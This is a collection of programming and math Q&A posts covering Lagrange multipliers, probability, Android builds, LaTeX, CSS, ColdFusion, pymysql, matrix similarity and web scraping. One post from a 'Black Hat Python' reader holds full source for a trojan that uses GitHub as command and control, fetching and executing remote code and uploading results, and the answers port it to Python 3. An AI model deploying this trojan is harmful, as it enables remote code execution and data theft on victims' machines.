We are trying to minimize $f(r,\theta) = r \cos \theta$ subject to the constraint $g(r,\theta) = r - b\,\theta = a$.
We calculate
$$
\nabla f = (\cos \theta,-r\sin \theta)\\
\nabla g = (1,-b)
$$
So, setting $\nabla f = \lambda \nabla g$ and $g(r,\theta) = a$, we have the system of equations
$$
\cos \theta = \lambda\\
-r \sin \theta = -b \lambda\\
r - b \theta = a
$$
Any $(r,\theta)$ solving the above system will be a local minimum or a local maximum for the $x$-coordinate.

Attempted solution: substituting $\lambda = \cos \theta$, the second equation yields
$$
-r \sin \theta = -b \cos \theta \implies r = b\cot \theta
$$
From there, we may make the final equation an equation on $\theta$ alone:
$$
b \cot \theta - b\theta = a \implies\\
\cot \theta - \theta = \frac ab
$$
This equation cannot be solved directly with any commonly used algebraic methods, but solutions can easily be found via numerical methods.

NOTE: I seem to have chosen the wrong critical point below.  I will correct it if I can.  Ignore for now.
For the example you've provided, $a = 1$, and $b = -1/(4 \pi)$.  According to WA, the third positive critical value of $\theta$ (i.e. the one you want) is
$$
\theta \approx 6.12907243518723 \approx (0.975)(2 \pi)
$$


text:
Q: Confusion with independent R.V Could someone help me clear up some confusion I have over independence/dependence of R.V :

Question 1)
Say we have two random variables $X$ and $Y,$ with $Y$ dependent on $X$
$X$ distributed $\operatorname{Uniform}(0,1).$
$Y$ distributed
$$
F_Y(y) = \begin{cases} 0, & y<0 \\ 1, & y>1 \\ y, & y\in [0,1] \end{cases}
$$
i.e it is $\operatorname{Uniform}(0,1),$ however let $Y=\frac{1}{2}$ if $X\in (0,\frac{1}{2})$ so $Y$ depends on $X.$
Then am I right in saying Y is still distributed $\operatorname{Uniform}(0,1)$ since its C.D.F is unchanged?

Question 2)
Say $X$ and $Y$ are distributed as Bernouli R.V i.e they are $1$ with probability $p$ and $0$ with probability $1-p.$
However it is also the case that if $X=1$ then $Y=0$ and if $Y=0$ then $X=1$ so they are dependent on each-other.
Then how would one calculate $P(X=1,Y=0)$ since there is no "conditioned on" does this mean (in a real world sense) we are running both experiments simultaneously and so neither has a dependence on the other?

A: The distribution of $X$ implies that $\Pr(X<1/2) = 1/2,$ so $\Pr(Y=1/2) \ge 1/2,$ and thus the c.d.f. of $Y$ is not what you reported it to be; $Y$ is not uniformly distributed.
In your case of Bernoulli distributions, you say $\Pr(X=1) = \Pr(Y=1) = p$ and $\Pr(X=0) = \Pr(Y=0) = 1-p.$ And you also say $X=0$ if, but only if, $Y=1.$ That implies
$$
1-p = \Pr(X=0) = \Pr(Y=1) = p.
$$
Thus $1-p=p,$ so $p=1/2.$
You have $\Pr(X=1\ \&\ Y=0) = 1/2$ and $\Pr(X=0\ \&\ Y=1) = 1/2.$
You can also say $\Pr(X=1\ \&\ Y=0) = \Pr(X=1)\cdot\Pr(Y=0\mid X=1) = \dfrac 1 2 \cdot 1.$


text:
Q: Unity Android plugin: error: resource android:attr/IStar not found I'm developing an Android Bluetooth plugin for Unity using Kotlin. I included the .aar file of my Kotlin library (which works perfectly in an app running in Android Studio), and since I was getting some dependency errors in runtime, I started using the Android Dependency Resolver plugin.
I started by adding the dependencies that my library had on its .gradle file:
dependencies {
    implementation 'androidx.core:core-ktx:1.7.0'
    implementation 'androidx.appcompat:appcompat:1.4.0'
    implementation 'com.google.android.material:material:1.4.0'

    // For Kotlin Coroutines
    implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.5.2'

    testImplementation 'junit:junit:4.+'
    androidTestImplementation 'androidx.test.ext:junit:1.1.3'
    androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
}

To my library's *Dependencies.xml, as instructed here by the Dependency Resolver:
<dependencies>
  <androidPackages>
    <repositories>
      <repository>https://repo.maven.apache.org/maven2</repository>
    </repositories>

    <androidPackage spec="androidx.appcompat:appcompat:1.4.0">
      <androidSdkPackageIds>
        <androidSdkPackageId>extra-google-m2repository</androidSdkPackageId>
      </androidSdkPackageIds>
      <repositories>
        <repository>https://maven.google.com</repository>
      </repositories>
    </androidPackage>

    <androidPackage spec="androidx.core:core-ktx:1.7.0">
      <androidSdkPackageIds>
        <androidSdkPackageId>extra-google-m2repository</androidSdkPackageId>
      </androidSdkPackageIds>
      <repositories>
        <repository>https://maven.google.com</repository>
      </repositories>
    </androidPackage>

    <androidPackage spec="org.jetbrains.kotlinx:kotlinx-coroutines-android:1.5.2">
      <androidSdkPackageIds>
        <androidSdkPackageId>extra-google-m2repository</androidSdkPackageId>
      </androidSdkPackageIds>
      <repositories>
        <repository>https://maven.google.com</repository>
      </repositories>
    </androidPackage>

  </androidPackages>
</dependencies>

The Dependency Resolver works and does it's job, but then when I try to compile the project I get the error:
FAILURE: Build failed with an exception.

* What went wrong:
Execution failed for task ':launcher:processReleaseResources'.
> A failure occurred while executing com.android.build.gradle.internal.tasks.Workers$ActionFacade
   > Android resource linking failed
     /Users/myuser/.gradle/caches/transforms-2/files-2.1/f243f87f287fb4f4052bd069a9b71980/androidx.core.core-1.7.0/res/values/values.xml:105:5-114:25: AAPT: error: resource android:attr/lStar not found.

A: lStar is first defined in android-31, so you can change compileSdkVersion to 31+, or change androidx to a lower version.

A: There was a bug with the Dependency Resolver, you can track down the related issue here, as well as a workaround I found in the mean time. Remember to switch off Enable Resolution On Build under Assets -> External Dependency Manager -> Android Resolver -> Settings.


text:
Q: How to suppress page break before \twocolumn? Problem: The command \twocolumn generates a page break in a LaTeX document that is specified as \documentclass[twocolumn]{report}. This specification of the documentclass can not be changed.
Question: Is there a way to suppress the page break before the command \twocolumn?
Code Example:
\documentclass[twocolumn]{report}
\begin{document}

  Two column text
  % Goal: suppress page break here
  \twocolumn[
    One column text
  ]

\end{document}

A: Just because you start in [twocolumn] doesn't mean you have to stay there.
\documentclass[twocolumn]{report}
\usepackage{multicol}
\usepackage{lipsum}% MWE only
\begin{document}
\onecolumn\begin{multicols}{2}
  \lipsum[1]
\end{multicols}
  \lipsum[2]
\end{document}


text:
Q: CSS menu, how to select parent I have three items in a navigation menu

            Le Réseau Pikard

            Pikard

            Isoprotek

I want the second  is-active CSS class disabled when the first parent li has active class. How can I do this ?

A: Specific to your question, and code example shared, the below should work by using the + next sibling selector.
li.active + li > a.is-active {
  pointer-events: none;
  opacity: 0.3;
}

const btn = document.querySelector('button');
const firstLi = document.querySelector('.menu-topnav > li:first-of-type');

btn.addEventListener('click', ()=>{
  let activeClass = firstLi.classList.contains('active') ? firstLi.classList.remove('active') : firstLi.classList.add('active');

});
li.active + li > a.is-active {
  pointer-events: none;
  opacity: 0.3;
}

            Le Réseau Pikard

            Pikard

            Isoprotek

<button>Toggle active class from first LI</button>


text:
Q: CFUPDATE - Updating the database A pretty newbie question again.
I have a form that retrieves record values for updating.
It pulls through records fine however when I click the update button, you are taken to the action page where it displays the success message. However no data has been updated in the database it self?
    <CFUPDATE Datasource="XXXXX" Tablename="Suppliers">
UPDATE Suppliers
SET SupplierName=?,
    Address1=?,
    Address2=?,
    City=?,
    WHERE SupplierCode = #txtSupplier#
</CFUPDATE>

Is this the wrong set up? Im a little unsure how to pass the primary key so that may be the error here!
I am capturing data in this way:
<CFQUERY name="GetRecord" datasource="XXXX">
SELECT SupplierName, Address1, Address2, City, PostCode, SalesRepName, SalesRepPhone, SalesRepEmail, PaymentTerms, Notes
FROM Suppliers
WHERE SupplierCode = '#txtSupplier#'
</CFQUERY>
<cfoutput>

You can update supplier details here. Please note, any fields containing characters not permitted will display an error

<form action="supplier_updated.cfm?code=#txtSupplier#" method="post">
<input type="Hidden" name="SupplierCode" value="#txtSupplier#">

Update Supplier Name:<INPUT TYPE="text" NAME "SupplierName" VALUE="#Trim(GetRecord.SupplierName)#">

The Supplier Code for the Supplier you wish to edit is: #txtSupplier#

Address Line 1: <INPUT TYPE="text" NAME "Address1" VALUE="#Trim(GetRecord.Address1)#" SIZE="35" MAXLENGTH="100">

Address Line 2: <INPUT TYPE="text" NAME "Address2" VALUE="#Trim(GetRecord.Address2)#" SIZE="35" MAXLENGTH="100">

A: <cfupdate> is not designed to contain SQL. Just use this:
<cfupdate datasource="XXXXX" tablename="Suppliers" />

and make sure that your form field names match the table column names. ColdFusion will create the appropriate UPDATE statement for you.
It will figure out what columns you want to update by comparing form field names with table column names. It will also figure out the table's primary key and use that in the WHERE clause.
Note that <cfupdate> is made for very simple situations. It is an easy way to update a basic table, but it might not always be the best fit for what you intend to do.
If you want more control over the update statement, use <cfquery> and <cfqueryparam>.
<cfquery datasource="XXXXX">
  UPDATE
    Suppliers
  SET
    SupplierName = <cfqueryparam value="#FORM.SupplierName#" cfsqltype="CF_SQL_VARCHAR" />,
    Address1     = <cfqueryparam value="#FORM.Address1#" cfsqltype="CF_SQL_VARCHAR" />,
    Address2     = <cfqueryparam value="#FORM.Address2#" cfsqltype="CF_SQL_VARCHAR" />,
    City         = <cfqueryparam value="#FORM.City#" cfsqltype="CF_SQL_VARCHAR" />,
  WHERE
    SupplierCode = <cfqueryparam value="#txtSupplier#" cfsqltype="CF_SQL_VARCHAR" />
</cfquery>

Also note that ? generally is not the way to specify parameters in ColdFusion. That's what <cfqueryparam> is for.


text:
Q: TypeError: not all arguments converted during string formatting - opc ua client to database connection Problem  Description
Data should be gathered from a opc ua client and transfered to a Maria DB database. The defined functions for client data gathering are excluded. If you need them, ask me, please. Thanks for help :)
# Connection MySQL database
[namenderSpalten_PW, Werte_PW] =  PW_main_a()
connection = pymysql.connect(host='127.0.0.1',
                             db='xxxx',
                             user='root',
                             password='')

#endless repetion of Pw and Pw functions + transfer of data to DB

while True:
        try:
            start_time = time.time()
            Pw= threading.Thread(target=PW_main_a,)
            Pt= threading.Thread(target=PT_main_a,)
            Pw.start()
            Pt.start()

            print("--- %s seconds ---" % (time.time() - start_time))
            # Connection MySQL database

            data_PW= ("INSERT INTO pull_winding "+
                "("+namenderSpalten_PW+")"+
                "\n VALUES ("+Werte_PW+")")

            data_PT= ("INSERT INTO pultrusion "+
                "("+namenderSpalten_PT+")"+
                "\n VALUES ("+Werte_PT+")")

            cursor = connection.cursor()
            cursor.execute(data_PW,data_PT)
            connection.commit()

            print("over")
            print("--- %s seconds ---" % (time.time() - start_time))
            cursor.close()
            connection.close()
        except KeyboardInterrupt:
            print("bye")
            cursor.close()
            connection.close()

Output
Traceback (most recent call last):
  File "xx\thread_main_PT_PW_test.py", line 302, in <module>
    cursor.execute(data_PW,data_PT)
  File "C:\Users\drj\Anaconda3\lib\site-packages\pymysql\cursors.py", line 168,
in execute
    query = self.mogrify(query, args)
  File "C:\Users\drj\Anaconda3\lib\site-packages\pymysql\cursors.py", line 147,
in mogrify
    query = query % self._escape_args(args, conn)
TypeError: not all arguments converted during string formatting


text:
Q: Prove that if $B$ is similar to $A$, then $B^T$ is similar to $A^T$ . If two matrix ($A$ and $B$) are similar if there exists an invertible matrix $P$, such that:
$$ B=P^{-1} A P $$
I'm thinking if I can prove that $A$, $B$ , $A^T$ and $B^T$ have the same characteristic polynomial then that would prove the above statement. However, I am a little unsure how to put the whole proof together.

A: If $B$ is similar to $A$, then we write $$B = P^{-1}AP$$ for some invertible $P$. Then transposing everything, we get: $$B^T = (P^{-1}AP)^T = P^TA^T(P^{-1})^T = P^TA^T(P^T)^{-1}.$$ Since $P$ is invertible, $P^T$ is also invertible. So $B^T$ is similar to $A^T$, and the matrix who plays the role of $P$ in the definition is $P^T$ now.

A: Since
$B = P^{-1} A P, \tag{1}$
$B^T = P^T A^T (P^{-1})^T; \tag{2}$
Now
$PP^{-1} = I, \tag{3}$
whence
$(P^{-1})^T P^T = I \tag{4}$
as well; but (4) implies
$(P^{-1})^T = (P^T)^{-1}; \tag{5}$
thus (2) becomes
$B^T = P^T A^T (P^T)^{-1}, \tag{6}$
so $A^T$ is similar to $B^T$,
putting the whole proof together! QED.

A: Suppose A is similiar to B so we will have $A = P^{-1}BP$
So $A^{T} = (P^{-1}BP)^{T} \rightarrow A^T = P^TB^T(P^{-1})^T$  so A transpose is similiar to B transpose.


text:
Q: Traceback Error: Lookup Error: unknown encoding charmap I am following along with Justin Seitz book "Black Hat Python." For this chapter we are writing a Trojan using GitHub for a command and control and using github3.py to interact with GitHub.  The problem is the book uses python2 and I am trying to do it in python3. I am getting the traceback error, "Lookup Error: unknown encoding: charmap". How can I fix this error?
Here is the traceback:
Traceback (most recent call last):
  File "trojan.py", line 102, in <module>
    config = get_trojan_config()
  File "trojan.py", line 44, in get_trojan_config
    config_json = get_file_contents(trojan_config)
  File "trojan.py", line 30, in get_file_contents
    gh, repo, branch = connect_to_github()
  File "trojan.py", line 24, in connect_to_github
    repo = gh.repository("*redacted*", "*redacted*")
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/github.py", line 1063, in repository
    json = self._json(self._get(url), 200)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/models.py", line 130, in _get
    return self._session.get(url, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 521, in get
    return self.request('GET', url, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/session.py", line 81, in request
    response = super(GitHubSession, self).request(*args, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 508, in request
    resp = self.send(prep, **send_kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 618, in send
    r = adapter.send(request, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/adapters.py", line 440, in send
    timeout=timeout
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 601, in urlopen
    chunked=chunked)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 346, in _make_request
    self._validate_conn(conn)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 850, in _validate_conn
    conn.connect()
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connection.py", line 337, in connect
    cert = self.sock.getpeercert()
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/contrib/pyopenssl.py", line 346, in getpeercert
    (('commonName', x509.get_subject().CN),),
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/crypto.py", line 540, in __getattr__
    nid = _lib.OBJ_txt2nid(_byte_string(name))
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py", line 112, in byte_string
    return s.encode("charmap")
LookupError: unknown encoding: charmap

Here is the source code:
import json
import base64
import sys
import time
import importlib
import random
import threading
import queue
import os

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = queue.Queue()

def connect_to_github():
    gh = login(username="", password="")
    repo = gh.repository("", "")
    branch = repo.branch("master")
    return gh, repo, branch

def get_file_contents(filepath):
    gh, repo, branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:
        if filepath in filename.path:
            print("[*] Found file %s", filepath)
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None

def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)
    config = json.load(base64.b64decode(config_json))
    configured = True

    for task in config:
        if task['module'] not in sys.modules:
            exec("import %s" % task['module'])
    return config

def store_module_result(data):
    gh, repo, branch = connect_to_github()
    remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000))
    repo.create_file(remote_path, "Commit  message", base64.b64encode(data))

    return

class GitImporter(object):

    def __init__(self):
        self.current_module_code = ""

    def find_module(self, fullname, path=None):
        if configured:
            print("[*] Attempting to retrieve %s" % fullname)
            new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                return self
        return None

    def load_module(self, name):
        module = importlib.import_module(name)
        exec(self.current_module_code in module.__dict__)
        sys.modules[name] = module

        return module

def module_runner(module):
    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()

    store_module_result(result)

    return

sys.meta_path =[GitImporter()]

while True:
    if task_queue.empty():
        config = get_trojan_config()
        for task in config:
            t = threading.Thread(target=module_runner, args = (task['module'],))
            t.start()
            time.sleep(random.randint(1, 10))

For the sake of privacy I have purposely redacted personally identifiable information from the source code and traceback.

A: For this problem, you can edit the file:

/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py

change the line that cause the error into:
return s.encode()

A: To get the example from blackhat python to run in python you must make the following changes:
In the function get_file_contents, replace:
tree = branch.commit.commit.tree.recurse()
with:
tree = branch.commit.commit.tree.to_tree().recurse()
In the function store_module_result, replace:
repo.create_file(remote_path, "Commit  message", base64.b64encode(data))
with:
repo.create_file(remote_path, "Commit  message", base64.b64encode(data.encode()))
In the method load_module, replace:
exec(self.current_module_code in module.__dict__)
with:
exec(self.current_module_code, module.__dict__)
replace:
import Queue
with:
import queue

A: Thanks for the above help. In summary, three steps to fixed the error:
1) modify /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py, remove "charmap"
2) change to tree = branch.commit.commit.tree.to_tree().recurse()
3) exec(self.current_module_code, module.dict)
working now.thanks.


text:
Q: Issues with extracting 1 column from https://www.sbstransit.com.sg/fares-and-concessions I tried using web scarping to extract only one column from this website
df = pd.read_html('https://www.sbstransit.com.sg/fares-and-concessions')
df
from urllib.request import urlopen
# from Beautifulsoup4 import BeautifulSoup
# or if you're using BeautifulSoup4:
from bs4 import BeautifulSoup

soup = BeautifulSoup(urlopen('https://www.sbstransit.com.sg/fares-and-concessions').read())

for row in soup('table', {'class': 'spad'})[0].tbody('tr'):
    tds = row('td')
    print(tds[0].string, tds[1].string)

I seriously need help,been trying this for hours already, its so hard just to extract 1 column :[

A: What you have to do is navigate through the web site try this
from urllib.request import urlopen
from bs4 import BeautifulSoup

soup = BeautifulSoup(urlopen('https://www.sbstransit.com.sg/fares-and-concessions').read())

# get the first table body on the accordion
table = soup("ul", id="accordion")[0].li.table.tbody

for row in table("tr"):
    # get the 7th column of each row
    print(row("td")[6].text)

I prefer to use scrapy we use it in my job, but if your are going to start on web scraping I recommend you to learn xpath it will help you to navigate.

A: What about using pandas.read_html and selecting needed table by index from list of tables:
pd.read_html('https://www.sbstransit.com.sg/fares-and-concessions', header=1)[1]

and to get only results from the column:
pd.read_html('https://www.sbstransit.com.sg/fares-and-concessions', header=1)[1]['DTL/NEL']